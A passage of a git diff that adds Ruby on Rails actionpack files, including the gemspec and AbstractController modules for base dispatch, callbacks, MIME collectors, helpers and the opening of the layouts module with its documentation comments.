+rule '.rb' => '.y' do |t|
+ sh "racc -l -o #{t.name} #{t.source}"
+end
+
+task compile: 'lib/action_dispatch/journey/parser.rb'
diff --git a/actionpack/actionpack.gemspec b/actionpack/actionpack.gemspec
new file mode 100644
index 0000000..cc8351a
--- /dev/null
+++ b/actionpack/actionpack.gemspec
@@ -0,0 +1,30 @@
+version = File.read(File.expand_path('../../RAILS_VERSION', __FILE__)).strip
+
+Gem::Specification.new do |s|
+ s.platform = Gem::Platform::RUBY
+ s.name = 'actionpack'
+ s.version = version
+ s.summary = 'Web-flow and rendering framework putting the VC in MVC (part of Rails).'
+ s.description = 'Web apps on Rails. Simple, battle-tested conventions for building and testing MVC web applications. Works with any Rack-compatible server.'
+
+ s.required_ruby_version = '>= 1.9.3'
+
+ s.license = 'MIT'
+
+ s.author = 'David Heinemeier Hansson'
+ s.email = 'david at loudthinking.com'
+ s.homepage = 'http://www.rubyonrails.org'
+
+ s.files = Dir['CHANGELOG.md', 'README.rdoc', 'MIT-LICENSE', 'lib/**/*']
+ s.require_path = 'lib'
+ s.requirements << 'none'
+
+ s.add_dependency 'activesupport', version
+ s.add_dependency 'builder', '~> 3.1.0'
+ s.add_dependency 'rack', '~> 1.5.2'
+ s.add_dependency 'rack-test', '~> 0.6.2'
+ s.add_dependency 'erubis', '~> 2.7.0'
+
+ s.add_development_dependency 'activemodel', version
+ s.add_development_dependency 'tzinfo', '~> 0.3.37'
+end
diff --git a/actionpack/lib/abstract_controller.rb b/actionpack/lib/abstract_controller.rb
new file mode 100644
index 0000000..867a795
--- /dev/null
+++ b/actionpack/lib/abstract_controller.rb
@@ -0,0 +1,21 @@
+require 'action_pack'
+require 'active_support/rails'
+require 'active_support/core_ext/module/attr_internal'
+require 'active_support/core_ext/module/anonymous'
+require 'active_support/i18n'
+
+module AbstractController
+ extend ActiveSupport::Autoload
+
+ autoload :Base
+ autoload :Callbacks
+ autoload :Collector
+ autoload :Helpers
+ autoload :Layouts
+ autoload :Logger
+ autoload :Rendering
+ autoload :Translation
+ autoload :AssetPaths
+ autoload :ViewPaths
+ autoload :UrlFor
+end
diff --git a/actionpack/lib/abstract_controller/asset_paths.rb b/actionpack/lib/abstract_controller/asset_paths.rb
new file mode 100644
index 0000000..e617022
--- /dev/null
+++ b/actionpack/lib/abstract_controller/asset_paths.rb
@@ -0,0 +1,10 @@
+module AbstractController
+ module AssetPaths #:nodoc:
+ extend ActiveSupport::Concern
+
+ included do
+ config_accessor :asset_host, :assets_dir, :javascripts_dir,
+ :stylesheets_dir, :default_asset_host_protocol, :relative_url_root
+ end
+ end
+end
diff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb
new file mode 100644
index 0000000..af5de81
--- /dev/null
+++ b/actionpack/lib/abstract_controller/base.rb
@@ -0,0 +1,237 @@
+require 'erubis'
+require 'set'
+require 'active_support/configurable'
+require 'active_support/descendants_tracker'
+require 'active_support/core_ext/module/anonymous'
+
+module AbstractController
+ class Error < StandardError #:nodoc:
+ end
+
+ class ActionNotFound < StandardError #:nodoc:
+ end
+
+ # <tt>AbstractController::Base</tt> is a low-level API. Nobody should be
+ # using it directly, and subclasses (like ActionController::Base) are
+ # expected to provide their own +render+ method, since rendering means
+ # different things depending on the context.
+ class Base
+ attr_internal :response_body
+ attr_internal :action_name
+ attr_internal :formats
+
+ include ActiveSupport::Configurable
+ extend ActiveSupport::DescendantsTracker
+
+ undef_method :not_implemented
+ class << self
+ attr_reader :abstract
+ alias_method :abstract?, :abstract
+
+ # Define a controller as abstract. See internal_methods for more
+ # details.
+ def abstract!
+ @abstract = true
+ end
+
+ def inherited(klass) # :nodoc:
+ # Define the abstract ivar on subclasses so that we don't get
+ # uninitialized ivar warnings
+ unless klass.instance_variable_defined?(:@abstract)
+ klass.instance_variable_set(:@abstract, false)
+ end
+ super
+ end
+
+ # A list of all internal methods for a controller. This finds the first
+ # abstract superclass of a controller, and gets a list of all public
+ # instance methods on that abstract class. Public instance methods of
+ # a controller would normally be considered action methods, so methods
+ # declared on abstract classes are being removed.
+ # (ActionController::Metal and ActionController::Base are defined as abstract)
+ def internal_methods
+ controller = self
+
+ controller = controller.superclass until controller.abstract?
+ controller.public_instance_methods(true)
+ end
+
+ # The list of hidden actions. Defaults to an empty array.
+ # This can be modified by other modules or subclasses
+ # to specify particular actions as hidden.
+ #
+ # ==== Returns
+ # * <tt>Array</tt> - An array of method names that should not be considered actions.
+ def hidden_actions
+ []
+ end
+
+ # A list of method names that should be considered actions. This
+ # includes all public instance methods on a controller, less
+ # any internal methods (see #internal_methods), adding back in
+ # any methods that are internal, but still exist on the class
+ # itself. Finally, #hidden_actions are removed.
+ #
+ # ==== Returns
+ # * <tt>Set</tt> - A set of all methods that should be considered actions.
+ def action_methods
+ @action_methods ||= begin
+ # All public instance methods of this class, including ancestors
+ methods = (public_instance_methods(true) -
+ # Except for public instance methods of Base and its ancestors
+ internal_methods +
+ # Be sure to include shadowed public instance methods of this class
+ public_instance_methods(false)).uniq.map { |x| x.to_s } -
+ # And always exclude explicitly hidden actions
+ hidden_actions.to_a
+
+ # Clear out AS callback method pollution
+ Set.new(methods.reject { |method| method =~ /_one_time_conditions/ })
+ end
+ end
+
+ # action_methods are cached and there is sometimes need to refresh
+ # them. clear_action_methods! allows you to do that, so next time
+ # you run action_methods, they will be recalculated
+ def clear_action_methods!
+ @action_methods = nil
+ end
+
+ # Returns the full controller name, underscored, without the ending Controller.
+ # For instance, MyApp::MyPostsController would return "my_app/my_posts" for
+ # controller_path.
+ #
+ # ==== Returns
+ # * <tt>String</tt>
+ def controller_path
+ @controller_path ||= name.sub(/Controller$/, '').underscore unless anonymous?
+ end
+
+ # Refresh the cached action_methods when a new action_method is added.
+ def method_added(name)
+ super
+ clear_action_methods!
+ end
+ end
+
+ abstract!
+
+ # Calls the action going through the entire action dispatch stack.
+ #
+ # The actual method that is called is determined by calling
+ # #method_for_action. If no method can handle the action, then an
+ # ActionNotFound error is raised.
+ #
+ # ==== Returns
+ # * <tt>self</tt>
+ def process(action, *args)
+ @_action_name = action_name = action.to_s
+
+ unless action_name = method_for_action(action_name)
+ raise ActionNotFound, "The action '#{action}' could not be found for #{self.class.name}"
+ end
+
+ @_response_body = nil
+
+ process_action(action_name, *args)
+ end
+
+ # Delegates to the class' #controller_path
+ def controller_path
+ self.class.controller_path
+ end
+
+ # Delegates to the class' #action_methods
+ def action_methods
+ self.class.action_methods
+ end
+
+ # Returns true if a method for the action is available and
+ # can be dispatched, false otherwise.
+ #
+ # Notice that <tt>action_methods.include?("foo")</tt> may return
+ # false and <tt>available_action?("foo")</tt> returns true because
+ # this method considers actions that are also available
+ # through other means, for example, implicit render ones.
+ #
+ # ==== Parameters
+ # * <tt>action_name</tt> - The name of an action to be tested
+ #
+ # ==== Returns
+ # * <tt>TrueClass</tt>, <tt>FalseClass</tt>
+ def available_action?(action_name)
+ method_for_action(action_name).present?
+ end
+
+ private
+
+ # Returns true if the name can be considered an action because
+ # it has a method defined in the controller.
+ #
+ # ==== Parameters
+ # * <tt>name</tt> - The name of an action to be tested
+ #
+ # ==== Returns
+ # * <tt>TrueClass</tt>, <tt>FalseClass</tt>
+ #
+ # :api: private
+ def action_method?(name)
+ self.class.action_methods.include?(name)
+ end
+
+ # Call the action. Override this in a subclass to modify the
+ # behavior around processing an action. This, and not #process,
+ # is the intended way to override action dispatching.
+ #
+ # Notice that the first argument is the method to be dispatched
+ # which is *not* necessarily the same as the action name.
+ def process_action(method_name, *args)
+ send_action(method_name, *args)
+ end
+
+ # Actually call the method associated with the action. Override
+ # this method if you wish to change how action methods are called,
+ # not to add additional behavior around it. For example, you would
+ # override #send_action if you want to inject arguments into the
+ # method.
+ alias send_action send
+
+ # If the action name was not found, but a method called "action_missing"
+ # was found, #method_for_action will return "_handle_action_missing".
+ # This method calls #action_missing with the current action name.
+ def _handle_action_missing(*args)
+ action_missing(@_action_name, *args)
+ end
+
+ # Takes an action name and returns the name of the method that will
+ # handle the action. In normal cases, this method returns the same
+ # name as it receives. By default, if #method_for_action receives
+ # a name that is not an action, it will look for an #action_missing
+ # method and return "_handle_action_missing" if one is found.
+ #
+ # Subclasses may override this method to add additional conditions
+ # that should be considered an action. For instance, an HTTP controller
+ # with a template matching the action name is considered to exist.
+ #
+ # If you override this method to handle additional cases, you may
+ # also provide a method (like _handle_method_missing) to handle
+ # the case.
+ #
+ # If none of these conditions are true, and method_for_action
+ # returns nil, an ActionNotFound exception will be raised.
+ #
+ # ==== Parameters
+ # * <tt>action_name</tt> - An action name to find a method name for
+ #
+ # ==== Returns
+ # * <tt>string</tt> - The name of the method that handles the action
+ # * <tt>nil</tt> - No method name could be found. Raise ActionNotFound.
+ def method_for_action(action_name)
+ if action_method?(action_name)
+ action_name
+ elsif respond_to?(:action_missing, true)
+ "_handle_action_missing"
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/abstract_controller/callbacks.rb b/actionpack/lib/abstract_controller/callbacks.rb
new file mode 100644
index 0000000..599fff8
--- /dev/null
+++ b/actionpack/lib/abstract_controller/callbacks.rb
@@ -0,0 +1,217 @@
+module AbstractController
+ module Callbacks
+ extend ActiveSupport::Concern
+
+ # Uses ActiveSupport::Callbacks as the base functionality. For
+ # more details on the whole callback system, read the documentation
+ # for ActiveSupport::Callbacks.
+ include ActiveSupport::Callbacks
+
+ included do
+ define_callbacks :process_action, :terminator => "response_body", :skip_after_callbacks_if_terminated => true
+ end
+
+ # Override AbstractController::Base's process_action to run the
+ # process_action callbacks around the normal behavior.
+ def process_action(*args)
+ run_callbacks(:process_action) do
+ super
+ end
+ end
+
+ module ClassMethods
+ # If :only or :except are used, convert the options into the
+ # :unless and :if options of ActiveSupport::Callbacks.
+ # The basic idea is that :only => :index gets converted to
+ # :if => proc {|c| c.action_name == "index" }.
+ #
+ # ==== Options
+ # * <tt>only</tt> - The callback should be run only for this action
+ # * <tt>except</tt> - The callback should be run for all actions except this action
+ def _normalize_callback_options(options)
+ _normalize_callback_option(options, :only, :if)
+ _normalize_callback_option(options, :except, :unless)
+ end
+
+ def _normalize_callback_option(options, from, to) # :nodoc:
+ if from = options[from]
+ from = Array(from).map {|o| "action_name == '#{o}'"}.join(" || ")
+ options[to] = Array(options[to]) << from
+ end
+ end
+
+ # Skip before, after, and around action callbacks matching any of the names
+ # Aliased as skip_filter.
+ #
+ # ==== Parameters
+ # * <tt>names</tt> - A list of valid names that could be used for
+ # callbacks. Note that skipping uses Ruby equality, so it's
+ # impossible to skip a callback defined using an anonymous proc
+ # using #skip_filter
+ def skip_action_callback(*names)
+ skip_before_action(*names)
+ skip_after_action(*names)
+ skip_around_action(*names)
+ end
+
+ alias_method :skip_filter, :skip_action_callback
+
+ # Take callback names and an optional callback proc, normalize them,
+ # then call the block with each callback. This allows us to abstract
+ # the normalization across several methods that use it.
+ #
+ # ==== Parameters
+ # * <tt>callbacks</tt> - An array of callbacks, with an optional
+ # options hash as the last parameter.
+ # * <tt>block</tt> - A proc that should be added to the callbacks.
+ #
+ # ==== Block Parameters
+ # * <tt>name</tt> - The callback to be added
+ # * <tt>options</tt> - A hash of options to be used when adding the callback
+ def _insert_callbacks(callbacks, block = nil)
+ options = callbacks.last.is_a?(Hash) ? callbacks.pop : {}
+ _normalize_callback_options(options)
+ callbacks.push(block) if block
+ callbacks.each do |callback|
+ yield callback, options
+ end
+ end
+
+ ##
+ # :method: before_action
+ #
+ # :call-seq: before_action(names, block)
+ #
+ # Append a callback before actions. See _insert_callbacks for parameter details.
+ # Aliased as before_filter.
+
+ ##
+ # :method: prepend_before_action
+ #
+ # :call-seq: prepend_before_action(names, block)
+ #
+ # Prepend a callback before actions. See _insert_callbacks for parameter details.
+ # Aliased as prepend_before_filter.
+
+ ##
+ # :method: skip_before_action
+ #
+ # :call-seq: skip_before_action(names)
+ #
+ # Skip a callback before actions. See _insert_callbacks for parameter details.
+ # Aliased as skip_before_filter.
+
+ ##
+ # :method: append_before_action
+ #
+ # :call-seq: append_before_action(names, block)
+ #
+ # Append a callback before actions. See _insert_callbacks for parameter details.
+ # Aliased as append_before_filter.
+
+ ##
+ # :method: after_action
+ #
+ # :call-seq: after_action(names, block)
+ #
+ # Append a callback after actions. See _insert_callbacks for parameter details.
+ # Aliased as after_filter.
+
+ ##
+ # :method: prepend_after_action
+ #
+ # :call-seq: prepend_after_action(names, block)
+ #
+ # Prepend a callback after actions. See _insert_callbacks for parameter details.
+ # Aliased as prepend_after_filter.
+
+ ##
+ # :method: skip_after_action
+ #
+ # :call-seq: skip_after_action(names)
+ #
+ # Skip a callback after actions. See _insert_callbacks for parameter details.
+ # Aliased as skip_after_filter.
+
+ ##
+ # :method: append_after_action
+ #
+ # :call-seq: append_after_action(names, block)
+ #
+ # Append a callback after actions. See _insert_callbacks for parameter details.
+ # Aliased as append_after_filter.
+
+ ##
+ # :method: around_action
+ #
+ # :call-seq: around_action(names, block)
+ #
+ # Append a callback around actions. See _insert_callbacks for parameter details.
+ # Aliased as around_filter.
+
+ ##
+ # :method: prepend_around_action
+ #
+ # :call-seq: prepend_around_action(names, block)
+ #
+ # Prepend a callback around actions. See _insert_callbacks for parameter details.
+ # Aliased as prepend_around_filter.
+
+ ##
+ # :method: skip_around_action
+ #
+ # :call-seq: skip_around_action(names)
+ #
+ # Skip a callback around actions. See _insert_callbacks for parameter details.
+ # Aliased as skip_around_filter.
+
+ ##
+ # :method: append_around_action
+ #
+ # :call-seq: append_around_action(names, block)
+ #
+ # Append a callback around actions. See _insert_callbacks for parameter details.
+ # Aliased as append_around_filter.
+
+ # set up before_action, prepend_before_action, skip_before_action, etc.
+ # for each of before, after, and around.
+ [:before, :after, :around].each do |callback|
+ class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+ # Append a before, after or around callback. See _insert_callbacks
+ # for details on the allowed parameters.
+ def #{callback}_action(*names, &blk) # def before_action(*names, &blk)
+ _insert_callbacks(names, blk) do |name, options| # _insert_callbacks(names, blk) do |name, options|
+ set_callback(:process_action, :#{callback}, name, options) # set_callback(:process_action, :before, name, options)
+ end # end
+ end # end
+
+ alias_method :#{callback}_filter, :#{callback}_action
+
+ # Prepend a before, after or around callback. See _insert_callbacks
+ # for details on the allowed parameters.
+ def prepend_#{callback}_action(*names, &blk) # def prepend_before_action(*names, &blk)
+ _insert_callbacks(names, blk) do |name, options| # _insert_callbacks(names, blk) do |name, options|
+ set_callback(:process_action, :#{callback}, name, options.merge(:prepend => true)) # set_callback(:process_action, :before, name, options.merge(:prepend => true))
+ end # end
+ end # end
+
+ alias_method :prepend_#{callback}_filter, :prepend_#{callback}_action
+
+ # Skip a before, after or around callback. See _insert_callbacks
+ # for details on the allowed parameters.
+ def skip_#{callback}_action(*names) # def skip_before_action(*names)
+ _insert_callbacks(names) do |name, options| # _insert_callbacks(names) do |name, options|
+ skip_callback(:process_action, :#{callback}, name, options) # skip_callback(:process_action, :before, name, options)
+ end # end
+ end # end
+
+ alias_method :skip_#{callback}_filter, :skip_#{callback}_action
+
+ # *_action is the same as append_*_action
+ alias_method :append_#{callback}_action, :#{callback}_action # alias_method :append_before_action, :before_action
+ alias_method :append_#{callback}_filter, :#{callback}_action # alias_method :append_before_filter, :before_action
+ RUBY_EVAL
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/abstract_controller/collector.rb b/actionpack/lib/abstract_controller/collector.rb
new file mode 100644
index 0000000..09b9e7d
--- /dev/null
+++ b/actionpack/lib/abstract_controller/collector.rb
@@ -0,0 +1,36 @@
+require "action_dispatch/http/mime_type"
+
+module AbstractController
+ module Collector
+ def self.generate_method_for_mime(mime)
+ sym = mime.is_a?(Symbol) ? mime : mime.to_sym
+ const = sym.upcase
+ class_eval <<-RUBY, __FILE__, __LINE__ + 1
+ def #{sym}(*args, &block) # def html(*args, &block)
+ custom(Mime::#{const}, *args, &block) # custom(Mime::HTML, *args, &block)
+ end # end
+ RUBY
+ end
+
+ Mime::SET.each do |mime|
+ generate_method_for_mime(mime)
+ end
+
+ Mime::Type.register_callback do |mime|
+ generate_method_for_mime(mime) unless self.instance_methods.include?(mime.to_sym)
+ end
+
+ protected
+
+ def method_missing(symbol, &block)
+ mime_constant = Mime.const_get(symbol.upcase)
+
+ if Mime::SET.include?(mime_constant)
+ AbstractController::Collector.generate_method_for_mime(mime_constant)
+ send(symbol, &block)
+ else
+ super
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/abstract_controller/helpers.rb b/actionpack/lib/abstract_controller/helpers.rb
new file mode 100644
index 0000000..5ae8c6c
--- /dev/null
+++ b/actionpack/lib/abstract_controller/helpers.rb
@@ -0,0 +1,179 @@
+require 'active_support/dependencies'
+
+module AbstractController
+ module Helpers
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :_helpers
+ self._helpers = Module.new
+
+ class_attribute :_helper_methods
+ self._helper_methods = Array.new
+ end
+
+ module ClassMethods
+ # When a class is inherited, wrap its helper module in a new module.
+ # This ensures that the parent class's module can be changed
+ # independently of the child class's.
+ def inherited(klass)
+ helpers = _helpers
+ klass._helpers = Module.new { include helpers }
+ klass.class_eval { default_helper_module! } unless klass.anonymous?
+ super
+ end
+
+ # Declare a controller method as a helper. For example, the following
+ # makes the +current_user+ controller method available to the view:
+ # class ApplicationController < ActionController::Base
+ # helper_method :current_user, :logged_in?
+ #
+ # def current_user
+ # @current_user ||= User.find_by(id: session[:user])
+ # end
+ #
+ # def logged_in?
+ # current_user != nil
+ # end
+ # end
+ #
+ # In a view:
+ # <% if logged_in? -%>Welcome, <%= current_user.name %><% end -%>
+ #
+ # ==== Parameters
+ # * <tt>method[, method]</tt> - A name or names of a method on the controller
+ # to be made available on the view.
+ def helper_method(*meths)
+ meths.flatten!
+ self._helper_methods += meths
+
+ meths.each do |meth|
+ _helpers.class_eval <<-ruby_eval, __FILE__, __LINE__ + 1
+ def #{meth}(*args, &blk) # def current_user(*args, &blk)
+ controller.send(%(#{meth}), *args, &blk) # controller.send(:current_user, *args, &blk)
+ end # end
+ ruby_eval
+ end
+ end
+
+ # The +helper+ class method can take a series of helper module names, a block, or both.
+ #
+ # ==== Options
+ # * <tt>*args</tt> - Module, Symbol, String
+ # * <tt>block</tt> - A block defining helper methods
+ #
+ # When the argument is a module it will be included directly in the template class.
+ # helper FooHelper # => includes FooHelper
+ #
+ # When the argument is a string or symbol, the method will provide the "_helper" suffix, require the file
+ # and include the module in the template class. The second form illustrates how to include custom helpers
+ # when working with namespaced controllers, or other cases where the file containing the helper definition is not
+ # in one of Rails' standard load paths:
+ # helper :foo # => requires 'foo_helper' and includes FooHelper
+ # helper 'resources/foo' # => requires 'resources/foo_helper' and includes Resources::FooHelper
+ #
+ # Additionally, the +helper+ class method can receive and evaluate a block, making the methods defined available
+ # to the template.
+ #
+ # # One line
+ # helper { def hello() "Hello, world!" end }
+ #
+ # # Multi-line
+ # helper do
+ # def foo(bar)
+ # "#{bar} is the very best"
+ # end
+ # end
+ #
+ # Finally, all the above styles can be mixed together, and the +helper+ method can be invoked with a mix of
+ # +symbols+, +strings+, +modules+ and blocks.
+ #
+ # helper(:three, BlindHelper) { def mice() 'mice' end }
+ #
+ def helper(*args, &block)
+ modules_for_helpers(args).each do |mod|
+ add_template_helper(mod)
+ end
+
+ _helpers.module_eval(&block) if block_given?
+ end
+
+ # Clears up all existing helpers in this class, only keeping the helper
+ # with the same name as this class.
+ def clear_helpers
+ inherited_helper_methods = _helper_methods
+ self._helpers = Module.new
+ self._helper_methods = Array.new
+
+ inherited_helper_methods.each { |meth| helper_method meth }
+ default_helper_module! unless anonymous?
+ end
+
+ # Returns a list of modules, normalized from the acceptable kinds of
+ # helpers with the following behavior:
+ #
+ # String or Symbol:: :FooBar or "FooBar" becomes "foo_bar_helper",
+ # and "foo_bar_helper.rb" is loaded using require_dependency.
+ #
+ # Module:: No further processing
+ #
+ # After loading the appropriate files, the corresponding modules
+ # are returned.
+ #
+ # ==== Parameters
+ # * <tt>args</tt> - An array of helpers
+ #
+ # ==== Returns
+ # * <tt>Array</tt> - A normalized list of modules for the list of
+ # helpers provided.
+ def modules_for_helpers(args)
+ args.flatten.map! do |arg|
+ case arg
+ when String, Symbol
+ file_name = "#{arg.to_s.underscore}_helper"
+ begin
+ require_dependency(file_name)
+ rescue LoadError => e
+ raise MissingHelperError.new(e, file_name)
+ end
+ file_name.camelize.constantize
+ when Module
+ arg
+ else
+ raise ArgumentError, "helper must be a String, Symbol, or Module"
+ end
+ end
+ end
+
+ class MissingHelperError < LoadError
+ def initialize(error, path)
+ @error = error
+ @path = "helpers/#{path}.rb"
+ set_backtrace error.backtrace
+ super("Missing helper file helpers/%s.rb" % path)
+ end
+ end
+
+ private
+ # Makes all the (instance) methods in the helper module available to templates
+ # rendered through this controller.
+ #
+ # ==== Parameters
+ # * <tt>module</tt> - The module to include into the current helper module
+ # for the class
+ def add_template_helper(mod)
+ _helpers.module_eval { include mod }
+ end
+
+ def default_helper_module!
+ module_name = name.sub(/Controller$/, '')
+ module_path = module_name.underscore
+ helper module_path
+ rescue MissingSourceFile => e
+ raise e unless e.is_missing? "helpers/#{module_path}_helper"
+ rescue NameError => e
+ raise e unless e.missing_name? "#{module_name}Helper"
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/abstract_controller/layouts.rb b/actionpack/lib/abstract_controller/layouts.rb
new file mode 100644
index 0000000..8e7bdf6
--- /dev/null
+++ b/actionpack/lib/abstract_controller/layouts.rb
@@ -0,0 +1,423 @@
+require "active_support/core_ext/module/remove_method"
+
+module AbstractController
+ # Layouts reverse the common pattern of including shared headers and footers in many templates to isolate changes in
+ # repeated setups. The inclusion pattern has pages that look like this:
+ #
+ # <%= render "shared/header" %>
+ # Hello World
+ # <%= render "shared/footer" %>
+ #
+ # This approach is a decent way of keeping common structures isolated from the changing content, but it's verbose
+ # and if you ever want to change the structure of these two includes, you'll have to change all the templates.
+ #
+ # With layouts, you can flip it around and have the common structure know where to insert changing content. This means
+ # that the header and footer are only mentioned in one place, like this:
+ #
+ # // The header part of this layout
+ # <%= yield %>
+ # // The footer part of this layout
+ #
+ # And then you have content pages that look like this:
+ #
+ # hello world
+ #
+ # At rendering time, the content page is computed and then inserted in the layout, like this:
+ #
+ # // The header part of this layout
+ # hello world
+ # // The footer part of this layout
+ #
+ # == Accessing shared variables
+ #
+ # Layouts have access to variables specified in the content pages and vice versa. This allows you to have layouts with
+ # references that won't materialize before rendering time:
+ #
+ # <h1><%= @page_title %></h1>
+ # <%= yield %>
+ #
+ # ...and content pages that fulfill these references _at_ rendering time:
+ #
+ # <% @page_title = "Welcome" %>
+ # Off-world colonies offers you a chance to start a new life
+ #
+ # The result after rendering is:
+ #
+ # <h1>Welcome</h1>
+ # Off-world colonies offers you a chance to start a new life
+ #
+ # == Layout assignment
+ #
+ # You can either specify a layout declaratively (using the #layout class method) or give
+ # it the same name as your controller, and place it in <tt>app/views/layouts</tt>.
+ # If a subclass does not have a layout specified, it inherits its layout using normal Ruby inheritance.
+ #
+ # For instance, if you have PostsController and a template named <tt>app/views/layouts/posts.html.erb</tt>,
+ # that template will be used for all actions in PostsController and controllers inheriting
+ # from PostsController.
+ #
+ # If you use a module, for instance Weblog::PostsController, you will need a template named
+ # <tt>app/views/layouts/weblog/posts.html.erb</tt>.
+ #
+ # Since all your controllers inherit from ApplicationController, they will use
+ # <tt>app/views/layouts/application.html.erb</tt> if no other layout is specified
+ # or provided.
+ #
+ # == Inheritance Examples
+ #
+ # class BankController < ActionController::Base
+ # # bank.html.erb exists
+ #
+ # class ExchangeController < BankController
+ # # exchange.html.erb exists
+ #
+ # class CurrencyController < BankController
+ #
+ # class InformationController < BankController
+ # layout "information"
+ #
+ # class TellerController < InformationController
+ # # teller.html.erb exists
+ #
+ # class EmployeeController < InformationController
+ # # employee.html.erb exists
+ # layout nil
+ #
+ # class VaultController < BankController
+ # layout :access_level_layout
+ #
+ # class TillController < BankController
+ # layout false
+ #
+ # In these examples, we have three implicit lookup scenarios:
+ # * The BankController uses the "bank" layout.
+ # * The ExchangeController uses the "exchange" layout.
+ # * The CurrencyController inherits the layout from BankController.
+ #
+ # However, when a layout is explicitly set, the explicitly set layout wins:
+ # * The InformationController uses the "information" layout, explicitly set.
+ # * The TellerController also uses the "information" layout, because the parent explicitly set it.
+ # * The EmployeeController uses the "employee" layout, because it set the layout to nil, resetting the parent configuration.
+ # * The VaultController chooses a layout dynamically by calling the <tt>access_level_layout</tt> method.
+ # * The TillController does not use a layout at all.
+ #
+ # == Types of layouts
+ #
+ # Layouts are basically just regular templates, but the name of this template needs not be specified statically. Sometimes
+ # you want to alternate layouts depending on runtime information, such as whether someone is logged in or not. This can
+ # be done either by specifying a method reference as a symbol or using an inline method (as a proc).
+ #
+ # The method reference is the preferred approach to variable layouts and is used like this:
+ #
+ # class WeblogController < ActionController::Base
+ # layout :writers_and_readers
+ #
+ # def index
+ # # fetching posts
+ # end
+ #
+ # private
+ # def writers_and_readers
+ # logged_in? ? "writer_layout" : "reader_layout"
+ # end
+ # end
+ #
+ # Now when a new request for the index action is processed, the layout will vary depending on whether the person accessing
+ # is logged in or not.
+ #
+ # If you want to use an inline method, such as a proc, do something like this:
+ #
+ # class WeblogController < ActionController::Base
+ # layout proc { |controller| controller.logged_in? ? "writer_layout" : "reader_layout" }
+ # end
+ #
+ # If an argument isn't given to the proc, it's evaluated in the context of
+ # the current controller anyway.
+ #
+ # class WeblogController < ActionController::Base
+ # layout proc { logged_in? ? "writer_layout" : "reader_layout" }
+ # end
+ #
+ # Of course, the most common way of specifying a layout is still just as a plain template name:
+ #
+ # class WeblogController < ActionController::Base
+ # layout "weblog_standard"
+ # end
+ #
+ # The template will be looked always in <tt>app/views/layouts/</tt> folder. But you can point
+ # <tt>layouts</tt> folder direct also. <tt>layout "layouts/demo"</tt> is the same as <tt>layout "demo"</tt>.
+ #
+ # Setting the layout to nil forces it to be looked up in the filesystem and fallbacks to the parent behavior if none exists.
+ # Setting it to nil is useful to re-enable template lookup overriding a previous configuration set in the parent:
+ #
+ # class ApplicationController < ActionController::Base
+ # layout "application"
+ # end
+ #
+ # class PostsController < ApplicationController
+ # # Will use "application" layout
+ # end
+ #
+ # class CommentsController < ApplicationController
+ # # Will search for "comments" layout and fallback "application" layout
+ # layout nil
+ # end
+ #
+ # == Conditional layouts
+ #
+ # If you have a layout that by default is applied to all the actions of a controller, you still have the option of rendering
+ # a given action or set of actions without a layout, or restricting a layout to only a single action or a set of actions. The
+ # <tt>:only</tt> and <tt>:except</tt> options can be passed to the layout call. For example:
+ #
+ # class WeblogController < ActionController::Base
+ # layout "weblog_standard", except: :rss
+ #
+ # # ...
+ #
+ # end
+ #
+ # This will assign "weblog_standard" as the WeblogController's layout for all actions except for the +rss+ action, which will
+ # be rendered directly, without wrapping a layout around the rendered view.
+ #
+ # Both the <tt>:only</tt> and <tt>:except</tt> condition can accept an arbitrary number of method references, so
+ # #<tt>except: [ :rss, :text_only ]</tt> is valid, as is <tt>except: :rss</tt>.
+ #
+ # == Using a different layout in the action render call
+ #
+ # If most of your actions use the same layout, it makes perfect sense to define a controller-wide layout as described above.
+ # Sometimes you'll have exceptions where one action wants to use a different layout than the rest of the controller.
+ # You can do this by passing a <tt>:layout</tt> option to the <tt>render</tt> call. For example:
+ #
+ # class WeblogController < ActionController::Base
+ # layout "weblog_standard"
+ #
+ # def help
+ # render action: "help", layout: "help"
+ # end
+ # end
+ #
+ # This will override the controller-wide "weblog_standard" layout, and will render the help action with the "help" layout instead.
+ module Layouts
+ extend ActiveSupport::Concern
+
+ include Rendering
+
+ included do
+ class_attribute :_layout, :_layout_conditions, :instance_accessor => false
+ self._layout = nil
+ self._layout_conditions = {}
+ _write_layout_method
+ end
+
+ delegate :_layout_conditions, to: :class
+
+ module ClassMethods
+ def inherited(klass) # :nodoc:
+ super
+ klass._write_layout_method
+ end
+
+ # This module is mixed in if layout conditions are provided. This means
+ # that if no layout conditions are used, this method is not used
+ module LayoutConditions # :nodoc:
+ private
+
+ # Determines whether the current action has a layout definition by
+ # checking the action name against the :only and :except conditions
+ # set by the <tt>layout</tt> method.
+ #
+ # ==== Returns
+ # * <tt> Boolean</tt> - True if the action has a layout definition, false otherwise.
+ def _conditional_layout?
+ return unless super
+
+ conditions = _layout_conditions
+
+ if only = conditions[:only]
+ only.include?(action_name)
+ elsif except = conditions[:except]
+ !except.include?(action_name)
+ else
+ true
+ end
+ end
+ end
+
+ # Specify the layout to use for this class.
+ #
+ # If the specified layout is a:
+ # String:: the String is the template name
+ # Symbol:: call the method specified by the symbol, which will return the template name
+ # false:: There is no layout
+ # true:: raise an ArgumentError
+ # nil:: Force default layout behavior with inheritance
+ #
+ # ==== Parameters
+ # * <tt>layout</tt> - The layout to use.
+ #
+ # ==== Options (conditions)
+ # * :only - A list of actions to apply this layout to.
+ # * :except - Apply this layout to all actions but this one.
+ def layout(layout, conditions = {})
+ include LayoutConditions unless conditions.empty?
+
+ conditions.each {|k, v| conditions[k] = Array(v).map {|a| a.to_s} }
+ self._layout_conditions = conditions
+
+ self._layout = layout
+ _write_layout_method
+ end
+
+ # If no layout is supplied, look for a template named the return
+ # value of this method.
+ #
+ # ==== Returns
+ # * <tt>String</tt> - A template name
+ def _implied_layout_name # :nodoc:
+ controller_path
+ end
+
+ # Creates a _layout method to be called by _default_layout .
+ #
+ # If a layout is not explicitly mentioned then look for a layout with the controller's name.
+ # if nothing is found then try same procedure to find super class's layout.
+ def _write_layout_method # :nodoc:
+ remove_possible_method(:_layout)
+
+ prefixes = _implied_layout_name =~ /\blayouts/ ? [] : ["layouts"]
+ default_behavior = "lookup_context.find_all('#{_implied_layout_name}', #{prefixes.inspect}).first || super"
